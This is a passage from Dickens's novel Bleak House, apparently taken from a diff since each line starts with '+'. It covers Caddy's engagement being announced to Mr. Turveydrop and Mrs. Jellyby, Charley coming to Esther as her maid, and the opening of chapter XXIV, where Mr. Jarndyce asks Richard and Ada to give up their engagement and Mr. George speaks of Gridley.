+manner or other if he made such an announcement. He feared old Mr.
+Turveydrop might consider it undutiful and might receive too great a
+shock. For old Mr. Turveydrop's deportment is very beautiful, you
+know, Esther," said Caddy, "and his feelings are extremely
+sensitive."
+
+"Are they, my dear?"
+
+"Oh, extremely sensitive. Prince says so. Now, this has caused my
+darling child--I didn't mean to use the expression to you, Esther,"
+Caddy apologized, her face suffused with blushes, "but I generally
+call Prince my darling child."
+
+I laughed; and Caddy laughed and blushed, and went on.
+
+"This has caused him, Esther--"
+
+"Caused whom, my dear?"
+
+"Oh, you tiresome thing!" said Caddy, laughing, with her pretty face
+on fire. "My darling child, if you insist upon it! This has caused
+him weeks of uneasiness and has made him delay, from day to day, in a
+very anxious manner. At last he said to me, 'Caddy, if Miss
+Summerson, who is a great favourite with my father, could be
+prevailed upon to be present when I broke the subject, I think I
+could do it.' So I promised I would ask you. And I made up my mind,
+besides," said Caddy, looking at me hopefully but timidly, "that if
+you consented, I would ask you afterwards to come with me to Ma. This
+is what I meant when I said in my note that I had a great favour and
+a great assistance to beg of you. And if you thought you could grant
+it, Esther, we should both be very grateful."
+
+"Let me see, Caddy," said I, pretending to consider. "Really, I think
+I could do a greater thing than that if the need were pressing. I am
+at your service and the darling child's, my dear, whenever you like."
+
+Caddy was quite transported by this reply of mine, being, I believe,
+as susceptible to the least kindness or encouragement as any tender
+heart that ever beat in this world; and after another turn or two
+round the garden, during which she put on an entirely new pair of
+gloves and made herself as resplendent as possible that she might do
+no avoidable discredit to the Master of Deportment, we went to Newman
+Street direct.
+
+Prince was teaching, of course. We found him engaged with a not very
+hopeful pupil--a stubborn little girl with a sulky forehead, a deep
+voice, and an inanimate, dissatisfied mama--whose case was certainly
+not rendered more hopeful by the confusion into which we threw her
+preceptor. The lesson at last came to an end, after proceeding as
+discordantly as possible; and when the little girl had changed her
+shoes and had had her white muslin extinguished in shawls, she was
+taken away. After a few words of preparation, we then went in search
+of Mr. Turveydrop, whom we found, grouped with his hat and gloves, as
+a model of deportment, on the sofa in his private apartment--the only
+comfortable room in the house. He appeared to have dressed at his
+leisure in the intervals of a light collation, and his dressing-case,
+brushes, and so forth, all of quite an elegant kind, lay about.
+
+"Father, Miss Summerson; Miss Jellyby."
+
+"Charmed! Enchanted!" said Mr. Turveydrop, rising with his
+high-shouldered bow. "Permit me!" Handing chairs. "Be seated!"
+Kissing the tips of his left fingers. "Overjoyed!" Shutting his eyes
+and rolling. "My little retreat is made a paradise." Recomposing
+himself on the sofa like the second gentleman in Europe.
+
+"Again you find us, Miss Summerson," said he, "using our little arts
+to polish, polish! Again the sex stimulates us and rewards us by the
+condescension of its lovely presence. It is much in these times (and
+we have made an awfully degenerating business of it since the days of
+his Royal Highness the Prince Regent--my patron, if I may presume to
+say so) to experience that deportment is not wholly trodden under
+foot by mechanics. That it can yet bask in the smile of beauty, my
+dear madam."
+
+I said nothing, which I thought a suitable reply; and he took a pinch
+of snuff.
+
+"My dear son," said Mr. Turveydrop, "you have four schools this
+afternoon. I would recommend a hasty sandwich."
+
+"Thank you, father," returned Prince, "I will be sure to be punctual.
+My dear father, may I beg you to prepare your mind for what I am
+going to say?"
+
+"Good heaven!" exclaimed the model, pale and aghast as Prince and
+Caddy, hand in hand, bent down before him. "What is this? Is this
+lunacy! Or what is this?"
+
+"Father," returned Prince with great submission, "I love this young
+lady, and we are engaged."
+
+"Engaged!" cried Mr. Turveydrop, reclining on the sofa and shutting
+out the sight with his hand. "An arrow launched at my brain by my own
+child!"
+
+"We have been engaged for some time, father," faltered Prince, "and
+Miss Summerson, hearing of it, advised that we should declare the
+fact to you and was so very kind as to attend on the present
+occasion. Miss Jellyby is a young lady who deeply respects you,
+father."
+
+Mr. Turveydrop uttered a groan.
+
+"No, pray don't! Pray don't, father," urged his son. "Miss Jellyby is
+a young lady who deeply respects you, and our first desire is to
+consider your comfort."
+
+Mr. Turveydrop sobbed.
+
+"No, pray don't, father!" cried his son.
+
+"Boy," said Mr. Turveydrop, "it is well that your sainted mother is
+spared this pang. Strike deep, and spare not. Strike home, sir,
+strike home!"
+
+"Pray don't say so, father," implored Prince, in tears. "It goes to
+my heart. I do assure you, father, that our first wish and intention
+is to consider your comfort. Caroline and I do not forget our
+duty--what is my duty is Caroline's, as we have often said
+together--and with your approval and consent, father, we will devote
+ourselves to making your life agreeable."
+
+"Strike home," murmured Mr. Turveydrop. "Strike home!" But he seemed
+to listen, I thought, too.
+
+"My dear father," returned Prince, "we well know what little comforts
+you are accustomed to and have a right to, and it will always be our
+study and our pride to provide those before anything. If you will
+bless us with your approval and consent, father, we shall not think
+of being married until it is quite agreeable to you; and when we ARE
+married, we shall always make you--of course--our first
+consideration. You must ever be the head and master here, father; and
+we feel how truly unnatural it would be in us if we failed to know it
+or if we failed to exert ourselves in every possible way to please
+you."
+
+Mr. Turveydrop underwent a severe internal struggle and came upright
+on the sofa again with his cheeks puffing over his stiff cravat, a
+perfect model of parental deportment.
+
+"My son!" said Mr. Turveydrop. "My children! I cannot resist your
+prayer. Be happy!"
+
+His benignity as he raised his future daughter-in-law and stretched
+out his hand to his son (who kissed it with affectionate respect and
+gratitude) was the most confusing sight I ever saw.
+
+"My children," said Mr. Turveydrop, paternally encircling Caddy with
+his left arm as she sat beside him, and putting his right hand
+gracefully on his hip. "My son and daughter, your happiness shall be
+my care. I will watch over you. You shall always live with
+me"--meaning, of course, I will always live with you--"this house is
+henceforth as much yours as mine; consider it your home. May you long
+live to share it with me!"
+
+The power of his deportment was such that they really were as much
+overcome with thankfulness as if, instead of quartering himself upon
+them for the rest of his life, he were making some munificent
+sacrifice in their favour.
+
+"For myself, my children," said Mr. Turveydrop, "I am falling into
+the sear and yellow leaf, and it is impossible to say how long the
+last feeble traces of gentlemanly deportment may linger in this
+weaving and spinning age. But, so long, I will do my duty to society
+and will show myself, as usual, about town. My wants are few and
+simple. My little apartment here, my few essentials for the toilet,
+my frugal morning meal, and my little dinner will suffice. I charge
+your dutiful affection with the supply of these requirements, and I
+charge myself with all the rest."
+
+They were overpowered afresh by his uncommon generosity.
+
+"My son," said Mr. Turveydrop, "for those little points in which you
+are deficient--points of deportment, which are born with a man, which
+may be improved by cultivation, but can never be originated--you may
+still rely on me. I have been faithful to my post since the days of
+his Royal Highness the Prince Regent, and I will not desert it now.
+No, my son. If you have ever contemplated your father's poor position
+with a feeling of pride, you may rest assured that he will do nothing
+to tarnish it. For yourself, Prince, whose character is different (we
+cannot be all alike, nor is it advisable that we should), work, be
+industrious, earn money, and extend the connexion as much as
+possible."
+
+"That you may depend I will do, dear father, with all my heart,"
+replied Prince.
+
+"I have no doubt of it," said Mr. Turveydrop. "Your qualities are not
+shining, my dear child, but they are steady and useful. And to both
+of you, my children, I would merely observe, in the spirit of a
+sainted wooman on whose path I had the happiness of casting, I
+believe, SOME ray of light, take care of the establishment, take care
+of my simple wants, and bless you both!"
+
+Old Mr. Turveydrop then became so very gallant, in honour of the
+occasion, that I told Caddy we must really go to Thavies Inn at once
+if we were to go at all that day. So we took our departure after a
+very loving farewell between Caddy and her betrothed, and during our
+walk she was so happy and so full of old Mr. Turveydrop's praises
+that I would not have said a word in his disparagement for any
+consideration.
+
+The house in Thavies Inn had bills in the windows announcing that it
+was to let, and it looked dirtier and gloomier and ghastlier than
+ever. The name of poor Mr. Jellyby had appeared in the list of
+bankrupts but a day or two before, and he was shut up in the
+dining-room with two gentlemen and a heap of blue bags,
+account-books, and papers, making the most desperate endeavours to
+understand his affairs. They appeared to me to be quite beyond his
+comprehension, for when Caddy took me into the dining-room by mistake
+and we came upon Mr. Jellyby in his spectacles, forlornly fenced into
+a corner by the great dining-table and the two gentlemen, he seemed
+to have given up the whole thing and to be speechless and insensible.
+
+Going upstairs to Mrs. Jellyby's room (the children were all
+screaming in the kitchen, and there was no servant to be seen), we
+found that lady in the midst of a voluminous correspondence, opening,
+reading, and sorting letters, with a great accumulation of torn
+covers on the floor. She was so preoccupied that at first she did not
+know me, though she sat looking at me with that curious, bright-eyed,
+far-off look of hers.
+
+"Ah! Miss Summerson!" she said at last. "I was thinking of something
+so different! I hope you are well. I am happy to see you. Mr.
+Jarndyce and Miss Clare quite well?"
+
+I hoped in return that Mr. Jellyby was quite well.
+
+"Why, not quite, my dear," said Mrs. Jellyby in the calmest manner.
+"He has been unfortunate in his affairs and is a little out of
+spirits. Happily for me, I am so much engaged that I have no time to
+think about it. We have, at the present moment, one hundred and
+seventy families, Miss Summerson, averaging five persons in each,
+either gone or going to the left bank of the Niger."
+
+I thought of the one family so near us who were neither gone nor
+going to the left bank of the Niger, and wondered how she could be so
+placid.
+
+"You have brought Caddy back, I see," observed Mrs. Jellyby with a
+glance at her daughter. "It has become quite a novelty to see her
+here. She has almost deserted her old employment and in fact obliges
+me to employ a boy."
+
+"I am sure, Ma--" began Caddy.
+
+"Now you know, Caddy," her mother mildly interposed, "that I DO
+employ a boy, who is now at his dinner. What is the use of your
+contradicting?"
+
+"I was not going to contradict, Ma," returned Caddy. "I was only
+going to say that surely you wouldn't have me be a mere drudge all my
+life."
+
+"I believe, my dear," said Mrs. Jellyby, still opening her letters,
+casting her bright eyes smilingly over them, and sorting them as she
+spoke, "that you have a business example before you in your mother.
+Besides. A mere drudge? If you had any sympathy with the destinies of
+the human race, it would raise you high above any such idea. But you
+have none. I have often told you, Caddy, you have no such sympathy."
+
+"Not if it's Africa, Ma, I have not."
+
+"Of course you have not. Now, if I were not happily so much engaged,
+Miss Summerson," said Mrs. Jellyby, sweetly casting her eyes for a
+moment on me and considering where to put the particular letter she
+had just opened, "this would distress and disappoint me. But I have
+so much to think of, in connexion with Borrioboola-Gha and it is so
+necessary I should concentrate myself that there is my remedy, you
+see."
+
+As Caddy gave me a glance of entreaty, and as Mrs. Jellyby was
+looking far away into Africa straight through my bonnet and head, I
+thought it a good opportunity to come to the subject of my visit and
+to attract Mrs. Jellyby's attention.
+
+"Perhaps," I began, "you will wonder what has brought me here to
+interrupt you."
+
+"I am always delighted to see Miss Summerson," said Mrs. Jellyby,
+pursuing her employment with a placid smile. "Though I wish," and she
+shook her head, "she was more interested in the Borrioboolan
+project."
+
+"I have come with Caddy," said I, "because Caddy justly thinks she
+ought not to have a secret from her mother and fancies I shall
+encourage and aid her (though I am sure I don't know how) in
+imparting one."
+
+"Caddy," said Mrs. Jellyby, pausing for a moment in her occupation
+and then serenely pursuing it after shaking her head, "you are going
+to tell me some nonsense."
+
+Caddy untied the strings of her bonnet, took her bonnet off, and
+letting it dangle on the floor by the strings, and crying heartily,
+said, "Ma, I am engaged."
+
+"Oh, you ridiculous child!" observed Mrs. Jellyby with an abstracted
+air as she looked over the dispatch last opened; "what a goose you
+are!"
+
+"I am engaged, Ma," sobbed Caddy, "to young Mr. Turveydrop, at the
+academy; and old Mr. Turveydrop (who is a very gentlemanly man
+indeed) has given his consent, and I beg and pray you'll give us
+yours, Ma, because I never could be happy without it. I never, never
+could!" sobbed Caddy, quite forgetful of her general complainings and
+of everything but her natural affection.
+
+"You see again, Miss Summerson," observed Mrs. Jellyby serenely,
+"what a happiness it is to be so much occupied as I am and to have
+this necessity for self-concentration that I have. Here is Caddy
+engaged to a dancing-master's son--mixed up with people who have no
+more sympathy with the destinies of the human race than she has
+herself! This, too, when Mr. Quale, one of the first philanthropists
+of our time, has mentioned to me that he was really disposed to be
+interested in her!"
+
+"Ma, I always hated and detested Mr. Quale!" sobbed Caddy.
+
+"Caddy, Caddy!" returned Mrs. Jellyby, opening another letter with
+the greatest complacency. "I have no doubt you did. How could you do
+otherwise, being totally destitute of the sympathies with which he
+overflows! Now, if my public duties were not a favourite child to me,
+if I were not occupied with large measures on a vast scale, these
+petty details might grieve me very much, Miss Summerson. But can I
+permit the film of a silly proceeding on the part of Caddy (from whom
+I expect nothing else) to interpose between me and the great African
+continent? No. No," repeated Mrs. Jellyby in a calm clear voice, and
+with an agreeable smile, as she opened more letters and sorted them.
+"No, indeed."
+
+I was so unprepared for the perfect coolness of this reception,
+though I might have expected it, that I did not know what to say.
+Caddy seemed equally at a loss. Mrs. Jellyby continued to open and
+sort letters and to repeat occasionally in quite a charming tone of
+voice and with a smile of perfect composure, "No, indeed."
+
+"I hope, Ma," sobbed poor Caddy at last, "you are not angry?"
+
+"Oh, Caddy, you really are an absurd girl," returned Mrs. Jellyby,
+"to ask such questions after what I have said of the preoccupation of
+my mind."
+
+"And I hope, Ma, you give us your consent and wish us well?" said
+Caddy.
+
+"You are a nonsensical child to have done anything of this kind,"
+said Mrs. Jellyby; "and a degenerate child, when you might have
+devoted yourself to the great public measure. But the step is taken,
+and I have engaged a boy, and there is no more to be said. Now, pray,
+Caddy," said Mrs. Jellyby, for Caddy was kissing her, "don't delay me
+in my work, but let me clear off this heavy batch of papers before
+the afternoon post comes in!"
+
+I thought I could not do better than take my leave; I was detained
+for a moment by Caddy's saying, "You won't object to my bringing him
+to see you, Ma?"
+
+"Oh, dear me, Caddy," cried Mrs. Jellyby, who had relapsed into that
+distant contemplation, "have you begun again? Bring whom?"
+
+"Him, Ma."
+
+"Caddy, Caddy!" said Mrs. Jellyby, quite weary of such little
+matters. "Then you must bring him some evening which is not a Parent
+Society night, or a Branch night, or a Ramification night. You must
+accommodate the visit to the demands upon my time. My dear Miss
+Summerson, it was very kind of you to come here to help out this
+silly chit. Good-bye! When I tell you that I have fifty-eight new
+letters from manufacturing families anxious to understand the details
+of the native and coffee-cultivation question this morning, I need
+not apologize for having very little leisure."
+
+I was not surprised by Caddy's being in low spirits when we went
+downstairs, or by her sobbing afresh on my neck, or by her saying she
+would far rather have been scolded than treated with such
+indifference, or by her confiding to me that she was so poor in
+clothes that how she was ever to be married creditably she didn't
+know. I gradually cheered her up by dwelling on the many things she
+would do for her unfortunate father and for Peepy when she had a home
+of her own; and finally we went downstairs into the damp dark
+kitchen, where Peepy and his little brothers and sisters were
+grovelling on the stone floor and where we had such a game of play
+with them that to prevent myself from being quite torn to pieces I
+was obliged to fall back on my fairy-tales. From time to time I heard
+loud voices in the parlour overhead, and occasionally a violent
+tumbling about of the furniture. The last effect I am afraid was
+caused by poor Mr. Jellyby's breaking away from the dining-table and
+making rushes at the window with the intention of throwing himself
+into the area whenever he made any new attempt to understand his
+affairs.
+
+As I rode quietly home at night after the day's bustle, I thought a
+good deal of Caddy's engagement and felt confirmed in my hopes (in
+spite of the elder Mr. Turveydrop) that she would be the happier and
+better for it. And if there seemed to be but a slender chance of her
+and her husband ever finding out what the model of deportment really
+was, why that was all for the best too, and who would wish them to be
+wiser? I did not wish them to be any wiser and indeed was half
+ashamed of not entirely believing in him myself. And I looked up at
+the stars, and thought about travellers in distant countries and the
+stars THEY saw, and hoped I might always be so blest and happy as to
+be useful to some one in my small way.
+
+They were so glad to see me when I got home, as they always were,
+that I could have sat down and cried for joy if that had not been a
+method of making myself disagreeable. Everybody in the house, from
+the lowest to the highest, showed me such a bright face of welcome,
+and spoke so cheerily, and was so happy to do anything for me, that I
+suppose there never was such a fortunate little creature in the
+world.
+
+We got into such a chatty state that night, through Ada and my
+guardian drawing me out to tell them all about Caddy, that I went on
+prose, prose, prosing for a length of time. At last I got up to my
+own room, quite red to think how I had been holding forth, and then I
+heard a soft tap at my door. So I said, "Come in!" and there came in
+a pretty little girl, neatly dressed in mourning, who dropped a
+curtsy.
+
+"If you please, miss," said the little girl in a soft voice, "I am
+Charley."
+
+"Why, so you are," said I, stooping down in astonishment and giving
+her a kiss. "How glad am I to see you, Charley!"
+
+"If you please, miss," pursued Charley in the same soft voice, "I'm
+your maid."
+
+"Charley?"
+
+"If you please, miss, I'm a present to you, with Mr. Jarndyce's
+love."
+
+I sat down with my hand on Charley's neck and looked at Charley.
+
+"And oh, miss," says Charley, clapping her hands, with the tears
+starting down her dimpled cheeks, "Tom's at school, if you please,
+and learning so good! And little Emma, she's with Mrs. Blinder, miss,
+a-being took such care of! And Tom, he would have been at school--and
+Emma, she would have been left with Mrs. Blinder--and me, I should
+have been here--all a deal sooner, miss; only Mr. Jarndyce thought
+that Tom and Emma and me had better get a little used to parting
+first, we was so small. Don't cry, if you please, miss!"
+
+"I can't help it, Charley."
+
+"No, miss, nor I can't help it," says Charley. "And if you please,
+miss, Mr. Jarndyce's love, and he thinks you'll like to teach me now
+and then. And if you please, Tom and Emma and me is to see each other
+once a month. And I'm so happy and so thankful, miss," cried Charley
+with a heaving heart, "and I'll try to be such a good maid!"
+
+"Oh, Charley dear, never forget who did all this!"
+
+"No, miss, I never will. Nor Tom won't. Nor yet Emma. It was all you,
+miss."
+
+"I have known nothing of it. It was Mr. Jarndyce, Charley."
+
+"Yes, miss, but it was all done for the love of you and that you
+might be my mistress. If you please, miss, I am a little present with
+his love, and it was all done for the love of you. Me and Tom was to
+be sure to remember it."
+
+Charley dried her eyes and entered on her functions, going in her
+matronly little way about and about the room and folding up
+everything she could lay her hands upon. Presently Charley came
+creeping back to my side and said, "Oh, don't cry, if you please,
+miss."
+
+And I said again, "I can't help it, Charley."
+
+And Charley said again, "No, miss, nor I can't help it." And so,
+after all, I did cry for joy indeed, and so did she.
+
+
+
+
+CHAPTER XXIV
+
+An Appeal Case
+
+
+As soon as Richard and I had held the conversation of which I have
+given an account, Richard communicated the state of his mind to Mr.
+Jarndyce. I doubt if my guardian were altogether taken by surprise
+when he received the representation, though it caused him much
+uneasiness and disappointment. He and Richard were often closeted
+together, late at night and early in the morning, and passed whole
+days in London, and had innumerable appointments with Mr. Kenge, and
+laboured through a quantity of disagreeable business. While they were
+thus employed, my guardian, though he underwent considerable
+inconvenience from the state of the wind and rubbed his head so
+constantly that not a single hair upon it ever rested in its right
+place, was as genial with Ada and me as at any other time, but
+maintained a steady reserve on these matters. And as our utmost
+endeavours could only elicit from Richard himself sweeping assurances
+that everything was going on capitally and that it really was all
+right at last, our anxiety was not much relieved by him.
+
+We learnt, however, as the time went on, that a new application was
+made to the Lord Chancellor on Richard's behalf as an infant and a
+ward, and I don't know what, and that there was a quantity of
+talking, and that the Lord Chancellor described him in open court as
+a vexatious and capricious infant, and that the matter was adjourned
+and readjourned, and referred, and reported on, and petitioned about
+until Richard began to doubt (as he told us) whether, if he entered
+the army at all, it would not be as a veteran of seventy or eighty
+years of age. At last an appointment was made for him to see the Lord
+Chancellor again in his private room, and there the Lord Chancellor
+very seriously reproved him for trifling with time and not knowing
+his mind--"a pretty good joke, I think," said Richard, "from that
+quarter!"--and at last it was settled that his application should be
+granted. His name was entered at the Horse Guards as an applicant for
+an ensign's commission; the purchase-money was deposited at an
+agent's; and Richard, in his usual characteristic way, plunged into a
+violent course of military study and got up at five o'clock every
+morning to practise the broadsword exercise.
+
+Thus, vacation succeeded term, and term succeeded vacation. We
+sometimes heard of Jarndyce and Jarndyce as being in the paper or out
+of the paper, or as being to be mentioned, or as being to be spoken
+to; and it came on, and it went off. Richard, who was now in a
+professor's house in London, was able to be with us less frequently
+than before; my guardian still maintained the same reserve; and so
+time passed until the commission was obtained and Richard received
+directions with it to join a regiment in Ireland.
+
+He arrived post-haste with the intelligence one evening, and had a
+long conference with my guardian. Upwards of an hour elapsed before
+my guardian put his head into the room where Ada and I were sitting
+and said, "Come in, my dears!" We went in and found Richard, whom we
+had last seen in high spirits, leaning on the chimney-piece looking
+mortified and angry.
+
+"Rick and I, Ada," said Mr. Jarndyce, "are not quite of one mind.
+Come, come, Rick, put a brighter face upon it!"
+
+"You are very hard with me, sir," said Richard. "The harder because
+you have been so considerate to me in all other respects and have
+done me kindnesses that I can never acknowledge. I never could have
+been set right without you, sir."
+
+"Well, well!" said Mr. Jarndyce. "I want to set you more right yet. I
+want to set you more right with yourself."
+
+"I hope you will excuse my saying, sir," returned Richard in a fiery
+way, but yet respectfully, "that I think I am the best judge about
+myself."
+
+"I hope you will excuse my saying, my dear Rick," observed Mr.
+Jarndyce with the sweetest cheerfulness and good humour, "that it's
+quite natural in you to think so, but I don't think so. I must do my
+duty, Rick, or you could never care for me in cool blood; and I hope
+you will always care for me, cool and hot."
+
+Ada had turned so pale that he made her sit down in his reading-chair
+and sat beside her.
+
+"It's nothing, my dear," he said, "it's nothing. Rick and I have only
+had a friendly difference, which we must state to you, for you are
+the theme. Now you are afraid of what's coming."
+
+"I am not indeed, cousin John," replied Ada with a smile, "if it is
+to come from you."
+
+"Thank you, my dear. Do you give me a minute's calm attention,
+without looking at Rick. And, little woman, do you likewise. My dear
+girl," putting his hand on hers as it lay on the side of the
+easy-chair, "you recollect the talk we had, we four when the little
+woman told me of a little love affair?"
+
+"It is not likely that either Richard or I can ever forget your
+kindness that day, cousin John."
+
+"I can never forget it," said Richard.
+
+"And I can never forget it," said Ada.
+
+"So much the easier what I have to say, and so much the easier for us
+to agree," returned my guardian, his face irradiated by the
+gentleness and honour of his heart. "Ada, my bird, you should know
+that Rick has now chosen his profession for the last time. All that
+he has of certainty will be expended when he is fully equipped. He
+has exhausted his resources and is bound henceforward to the tree he
+has planted."
+
+"Quite true that I have exhausted my present resources, and I am
+quite content to know it. But what I have of certainty, sir," said
+Richard, "is not all I have."
+
+"Rick, Rick!" cried my guardian with a sudden terror in his manner,
+and in an altered voice, and putting up his hands as if he would have
+stopped his ears. "For the love of God, don't found a hope or
+expectation on the family curse! Whatever you do on this side the
+grave, never give one lingering glance towards the horrible phantom
+that has haunted us so many years. Better to borrow, better to beg,
+better to die!"
+
+We were all startled by the fervour of this warning. Richard bit his
+lip and held his breath, and glanced at me as if he felt, and knew
+that I felt too, how much he needed it.
+
+"Ada, my dear," said Mr. Jarndyce, recovering his cheerfulness,
+"these are strong words of advice, but I live in Bleak House and have
+seen a sight here. Enough of that. All Richard had to start him in
+the race of life is ventured. I recommend to him and you, for his
+sake and your own, that he should depart from us with the
+understanding that there is no sort of contract between you. I must
+go further. I will be plain with you both. You were to confide freely
+in me, and I will confide freely in you. I ask you wholly to
+relinquish, for the present, any tie but your relationship."
+
+"Better to say at once, sir," returned Richard, "that you renounce
+all confidence in me and that you advise Ada to do the same."
+
+"Better to say nothing of the sort, Rick, because I don't mean it."
+
+"You think I have begun ill, sir," retorted Richard. "I HAVE, I
+know."
+
+"How I hoped you would begin, and how go on, I told you when we spoke
+of these things last," said Mr. Jarndyce in a cordial and encouraging
+manner. "You have not made that beginning yet, but there is a time
+for all things, and yours is not gone by; rather, it is just now
+fully come. Make a clear beginning altogether. You two (very young,
+my dears) are cousins. As yet, you are nothing more. What more may
+come must come of being worked out, Rick, and no sooner."
+
+"You are very hard with me, sir," said Richard. "Harder than I could
+have supposed you would be."
+
+"My dear boy," said Mr. Jarndyce, "I am harder with myself when I do
+anything that gives you pain. You have your remedy in your own hands.
+Ada, it is better for him that he should be free and that there
+should be no youthful engagement between you. Rick, it is better for
+her, much better; you owe it to her. Come! Each of you will do what
+is best for the other, if not what is best for yourselves."
+
+"Why is it best, sir?" returned Richard hastily. "It was not when we
+opened our hearts to you. You did not say so then."
+
+"I have had experience since. I don't blame you, Rick, but I have had
+experience since."
+
+"You mean of me, sir."
+
+"Well! Yes, of both of you," said Mr. Jarndyce kindly. "The time is
+not come for your standing pledged to one another. It is not right,
+and I must not recognize it. Come, come, my young cousins, begin
+afresh! Bygones shall be bygones, and a new page turned for you to
+write your lives in."
+
+Richard gave an anxious glance at Ada but said nothing.
+
+"I have avoided saying one word to either of you or to Esther," said
+Mr. Jarndyce, "until now, in order that we might be open as the day,
+and all on equal terms. I now affectionately advise, I now most
+earnestly entreat, you two to part as you came here. Leave all else
+to time, truth, and steadfastness. If you do otherwise, you will do
+wrong, and you will have made me do wrong in ever bringing you
+together."
+
+A long silence succeeded.
+
+"Cousin Richard," said Ada then, raising her blue eyes tenderly to
+his face, "after what our cousin John has said, I think no choice is
+left us. Your mind may be quite at ease about me, for you will leave
+me here under his care and will be sure that I can have nothing to
+wish for--quite sure if I guide myself by his advice. I--I don't
+doubt, cousin Richard," said Ada, a little confused, "that you are
+very fond of me, and I--I don't think you will fall in love with
+anybody else. But I should like you to consider well about it too, as
+I should like you to be in all things very happy. You may trust in
+me, cousin Richard. I am not at all changeable; but I am not
+unreasonable, and should never blame you. Even cousins may be sorry
+to part; and in truth I am very, very sorry, Richard, though I know
+it's for your welfare. I shall always think of you affectionately,
+and often talk of you with Esther, and--and perhaps you will
+sometimes think a little of me, cousin Richard. So now," said Ada,
+going up to him and giving him her trembling hand, "we are only
+cousins again, Richard--for the time perhaps--and I pray for a
+blessing on my dear cousin, wherever he goes!"
+
+It was strange to me that Richard should not be able to forgive my
+guardian for entertaining the very same opinion of him which he
+himself had expressed of himself in much stronger terms to me. But it
+was certainly the case. I observed with great regret that from this
+hour he never was as free and open with Mr. Jarndyce as he had been
+before. He had every reason given him to be so, but he was not; and
+solely on his side, an estrangement began to arise between them.
+
+In the business of preparation and equipment he soon lost himself,
+and even his grief at parting from Ada, who remained in Hertfordshire
+while he, Mr. Jarndyce, and I went up to London for a week. He
+remembered her by fits and starts, even with bursts of tears, and at
+such times would confide to me the heaviest self-reproaches. But in a
+few minutes he would recklessly conjure up some undefinable means by
+which they were both to be made rich and happy for ever, and would
+become as gay as possible.
+
+It was a busy time, and I trotted about with him all day long, buying
+a variety of things of which he stood in need. Of the things he would
+have bought if he had been left to his own ways I say nothing. He was
+perfectly confidential with me, and often talked so sensibly and
+feelingly about his faults and his vigorous resolutions, and dwelt so
+much upon the encouragement he derived from these conversations that
+I could never have been tired if I had tried.
+
+There used, in that week, to come backward and forward to our lodging
+to fence with Richard a person who had formerly been a cavalry
+soldier; he was a fine bluff-looking man, of a frank free bearing,
+with whom Richard had practised for some months. I heard so much
+about him, not only from Richard, but from my guardian too, that I
+was purposely in the room with my work one morning after breakfast
+when he came.
+
+"Good morning, Mr. George," said my guardian, who happened to be
+alone with me. "Mr. Carstone will be here directly. Meanwhile, Miss
+Summerson is very happy to see you, I know. Sit down."
+
+He sat down, a little disconcerted by my presence, I thought, and
+without looking at me, drew his heavy sunburnt hand across and across
+his upper lip.
+
+"You are as punctual as the sun," said Mr. Jarndyce.
+
+"Military time, sir," he replied. "Force of habit. A mere habit in
+me, sir. I am not at all business-like."
+
+"Yet you have a large establishment, too, I am told?" said Mr.
+Jarndyce.
+
+"Not much of a one, sir. I keep a shooting gallery, but not much of a
+one."
+
+"And what kind of a shot and what kind of a swordsman do you make of
+Mr. Carstone?" said my guardian.
+
+"Pretty good, sir," he replied, folding his arms upon his broad chest
+and looking very large. "If Mr. Carstone was to give his full mind to
+it, he would come out very good."
+
+"But he don't, I suppose?" said my guardian.
+
+"He did at first, sir, but not afterwards. Not his full mind. Perhaps
+he has something else upon it--some young lady, perhaps." His bright
+dark eyes glanced at me for the first time.
+
+"He has not me upon his mind, I assure you, Mr. George," said I,
+laughing, "though you seem to suspect me."
+
+He reddened a little through his brown and made me a trooper's bow.
+"No offence, I hope, miss. I am one of the roughs."
+
+"Not at all," said I. "I take it as a compliment."
+
+If he had not looked at me before, he looked at me now in three or
+four quick successive glances. "I beg your pardon, sir," he said to
+my guardian with a manly kind of diffidence, "but you did me the
+honour to mention the young lady's name--"
+
+"Miss Summerson."
+
+"Miss Summerson," he repeated, and looked at me again.
+
+"Do you know the name?" I asked.
+
+"No, miss. To my knowledge I never heard it. I thought I had seen you
+somewhere."
+
+"I think not," I returned, raising my head from my work to look at
+him; and there was something so genuine in his speech and manner that
+I was glad of the opportunity. "I remember faces very well."
+
+"So do I, miss!" he returned, meeting my look with the fullness of
+his dark eyes and broad forehead. "Humph! What set me off, now, upon
+that!"
+
+His once more reddening through his brown and being disconcerted by
+his efforts to remember the association brought my guardian to his
+relief.
+
+"Have you many pupils, Mr. George?"
+
+"They vary in their number, sir. Mostly they're but a small lot to
+live by."
+
+"And what classes of chance people come to practise at your gallery?"
+
+"All sorts, sir. Natives and foreigners. From gentlemen to
+'prentices. I have had Frenchwomen come, before now, and show
+themselves dabs at pistol-shooting. Mad people out of number, of
+course, but THEY go everywhere where the doors stand open."
+
+"People don't come with grudges and schemes of finishing their
+practice with live targets, I hope?" said my guardian, smiling.
+
+"Not much of that, sir, though that HAS happened. Mostly they come
+for skill--or idleness. Six of one, and half-a-dozen of the other. I
+beg your pardon," said Mr. George, sitting stiffly upright and
+squaring an elbow on each knee, "but I believe you're a Chancery
+suitor, if I have heard correct?"
+
+"I am sorry to say I am."
+
+"I have had one of YOUR compatriots in my time, sir."
+
+"A Chancery suitor?" returned my guardian. "How was that?"
+
+"Why, the man was so badgered and worried and tortured by being
+knocked about from post to pillar, and from pillar to post," said Mr.
+George, "that he got out of sorts. I don't believe he had any idea of
+taking aim at anybody, but he was in that condition of resentment and
+violence that he would come and pay for fifty shots and fire away
+till he was red hot. One day I said to him when there was nobody by
+and he had been talking to me angrily about his wrongs, 'If this
+practice is a safety-valve, comrade, well and good; but I don't
+altogether like your being so bent upon it in your present state of
+mind; I'd rather you took to something else.' I was on my guard for a
+blow, he was that passionate; but he received it in very good part
+and left off directly. We shook hands and struck up a sort of
+friendship."
+
+"What was that man?" asked my guardian in a new tone of interest.
+
+"Why, he began by being a small Shropshire farmer before they made a
+baited bull of him," said Mr. George.
+
+"Was his name Gridley?"
+
+"It was, sir."
+
+Mr. George directed another succession of quick bright glances at me
+as my guardian and I exchanged a word or two of surprise at the
+coincidence, and I therefore explained to him how we knew the name.
+He made me another of his soldierly bows in acknowledgment of what he
+called my condescension.
+
+"I don't know," he said as he looked at me, "what it is that sets me
+off again--but--bosh! What's my head running against!" He passed one
+of his heavy hands over his crisp dark hair as if to sweep the broken
+thoughts out of his mind and sat a little forward, with one arm
+akimbo and the other resting on his leg, looking in a brown study at
+the ground.
+
+"I am sorry to learn that the same state of mind has got this Gridley
+into new troubles and that he is in hiding," said my guardian.
+
+"So I am told, sir," returned Mr. George, still musing and looking on
+the ground. "So I am told."
+
